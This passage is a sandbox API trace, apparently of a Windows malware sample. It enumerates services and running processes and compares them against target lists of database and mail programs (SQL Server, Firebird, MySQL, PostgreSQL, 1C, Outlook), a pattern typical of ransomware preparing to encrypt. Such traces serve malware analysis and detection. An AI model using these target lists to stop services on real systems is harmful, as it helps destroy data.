lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0037.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0037.467] lstrlenW (lpString="CryptSvc") returned 8 [0037.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0037.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0037.467] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0037.467] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0037.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0037.467] lstrlenW (lpString="CscService") returned 10 [0037.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0037.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0037.468] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0037.468] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0037.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0037.468] lstrlenW (lpString="DcomLaunch") returned 10 [0037.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.468] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0037.468] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0037.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0037.468] lstrlenW (lpString="Dhcp") returned 4 [0037.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0037.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0037.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0037.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0037.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0037.468] lstrlenW (lpString="Dnscache") returned 8 [0037.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0037.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0037.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0037.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0037.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0037.468] lstrlenW (lpString="DPS") returned 3 [0037.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0037.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0037.468] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0037.468] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0037.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0037.468] lstrlenW (lpString="eventlog") returned 8 [0037.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0037.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0037.469] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0037.469] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0037.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0037.469] lstrlenW (lpString="EventSystem") returned 11 [0037.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0037.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0037.469] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0037.469] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0037.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0037.469] lstrlenW (lpString="gpsvc") returned 5 [0037.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0037.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0037.469] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0037.469] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0037.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0037.469] lstrlenW (lpString="iphlpsvc") returned 8 [0037.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.469] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0037.469] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0037.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0037.469] lstrlenW (lpString="LanmanServer") returned 12 [0037.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0037.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0037.469] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0037.469] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0037.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0037.469] lstrlenW (lpString="LanmanWorkstation") returned 17 [0037.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.469] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0037.469] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0037.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0037.470] lstrlenW (lpString="lmhosts") returned 7 [0037.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0037.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0037.470] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0037.470] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0037.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0037.470] lstrlenW (lpString="MMCSS") returned 5 [0037.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0037.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0037.470] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0037.470] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0037.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0037.470] lstrlenW (lpString="MpsSvc") returned 6 [0037.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0037.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0037.470] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0037.470] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0037.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0037.470] lstrlenW (lpString="Netman") returned 6 [0037.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0037.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0037.470] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0037.470] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0037.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0037.470] lstrlenW (lpString="netprofm") returned 8 [0037.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0037.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0037.470] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0037.470] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0037.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0037.470] lstrlenW (lpString="NlaSvc") returned 6 [0037.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0037.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0037.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0037.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0037.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0037.471] lstrlenW (lpString="nsi") returned 3 [0037.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0037.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0037.471] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0037.471] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0037.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0037.471] lstrlenW (lpString="PcaSvc") returned 6 [0037.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0037.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0037.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0037.471] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0037.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0037.471] lstrlenW (lpString="PlugPlay") returned 8 [0037.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0037.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0037.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0037.471] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0037.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0037.471] lstrlenW (lpString="Power") returned 5 [0037.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0037.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0037.471] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0037.471] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0037.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0037.471] lstrlenW (lpString="ProfSvc") returned 7 [0037.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0037.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0037.471] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0037.471] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0037.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0037.471] lstrlenW (lpString="RpcEptMapper") returned 12 [0037.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0037.471] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0037.472] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0037.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0037.472] lstrlenW (lpString="RpcSs") returned 5 [0037.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0037.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0037.472] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0037.472] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0037.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0037.472] lstrlenW (lpString="SamSs") returned 5 [0037.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0037.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0037.472] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0037.472] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0037.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0037.472] lstrlenW (lpString="Schedule") returned 8 [0037.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0037.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0037.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0037.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0037.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0037.472] lstrlenW (lpString="SENS") returned 4 [0037.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0037.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0037.472] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0037.472] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0037.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0037.472] lstrlenW (lpString="ShellHWDetection") returned 16 [0037.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0037.472] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0037.472] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0037.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0037.473] lstrlenW (lpString="Spooler") returned 7 [0037.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0037.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0037.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0037.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0037.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0037.473] lstrlenW (lpString="SysMain") returned 7 [0037.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0037.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0037.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0037.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0037.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0037.473] lstrlenW (lpString="Themes") returned 6 [0037.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0037.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0037.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0037.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0037.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0037.473] lstrlenW (lpString="TrkWks") returned 6 [0037.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0037.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0037.473] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0037.473] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0037.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0037.473] lstrlenW (lpString="UxSms") returned 5 [0037.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0037.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0037.473] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0037.473] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0037.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0037.473] lstrlenW (lpString="WdiServiceHost") returned 14 [0037.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0037.474] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0037.474] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0037.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0037.474] lstrlenW (lpString="WdiSystemHost") returned 13 [0037.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0037.474] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0037.474] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0037.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0037.474] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0037.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0037.474] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0037.474] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0037.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0037.474] lstrlenW (lpString="Winmgmt") returned 7 [0037.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0037.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0037.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0037.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0037.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0037.474] lstrlenW (lpString="WPDBusEnum") returned 10 [0037.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0037.474] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0037.474] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0037.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0037.474] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6e1eb0 | out: hHeap=0x5f0000) returned 1 [0037.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0037.476] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.477] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.478] lstrlenW (lpString="System") returned 6 [0037.478] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0037.478] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0037.478] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0037.478] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0037.478] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0037.478] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0037.478] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0037.478] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.479] lstrlenW (lpString="smss.exe") returned 8 [0037.479] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0037.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0037.479] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0037.479] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0037.479] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0037.479] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0037.479] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0037.479] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.480] lstrlenW (lpString="csrss.exe") returned 9 [0037.480] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.480] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0037.480] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0037.480] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0037.480] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0037.480] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0037.480] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0037.480] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.481] lstrlenW (lpString="wininit.exe") returned 11 [0037.481] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0037.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0037.481] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0037.481] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0037.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0037.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0037.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0037.481] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.482] lstrlenW (lpString="csrss.exe") returned 9 [0037.482] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0037.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0037.482] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0037.482] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0037.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0037.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0037.482] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.483] lstrlenW (lpString="winlogon.exe") returned 12 [0037.483] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.483] lstrlenW (lpString="services.exe") returned 12 [0037.484] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.484] lstrlenW (lpString="lsass.exe") returned 9 [0037.484] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.485] lstrlenW (lpString="lsm.exe") returned 7 [0037.485] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.485] lstrlenW (lpString="svchost.exe") returned 11 [0037.486] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.486] lstrlenW (lpString="svchost.exe") returned 11 [0037.486] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.487] lstrlenW (lpString="svchost.exe") returned 11 [0037.487] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.488] lstrlenW (lpString="svchost.exe") returned 11 [0037.488] Process32NextW (in: hSnapshot=0x1e4, lppe=0x214fd34 | out: 